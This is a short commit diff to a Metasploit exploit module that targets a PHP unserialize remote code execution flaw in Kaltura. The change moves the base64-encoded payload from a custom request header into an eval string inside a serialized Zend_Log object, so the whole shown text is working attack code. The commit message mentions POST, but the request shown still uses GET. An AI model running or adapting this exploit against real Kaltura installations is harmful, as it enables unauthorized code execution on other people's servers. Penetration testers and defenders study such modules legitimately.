Send payload with POST rather than custom header.

modules/exploits/unix/webapp/kaltura_unserialize_rce.rb

@@ -85,7 +85,7 @@ class MetasploitModule < Msf::Exploit::Remote
   end
 
   def exploit
-    cmd = "print_r(eval(base64_decode($_SERVER[HTTP_CMD]))).die()"
+    cmd = "print_r(eval(base64_decode('#{Rex::Text.encode_base64(payload.encode)}'))).die()"
 
     p = ""
     p << "a:1:{s:1:\"z\";O:8:\"Zend_Log\":1:{s:11:\"\00*\00_writers\";"
@@ -99,9 +99,6 @@ class MetasploitModule < Msf::Exploit::Remote
     res = send_request_cgi(
       'method' => 'GET',
       'uri' => normalize_uri(target_uri.path, 'index.php/keditorservices/redirectWidgetCmd'),
-      'headers' => {
-        'Cmd' => Rex::Text.encode_base64(payload.encode)
-      },
       'vars_get' => {
         'kdata' => Rex::Text.encode_base64(p)
       }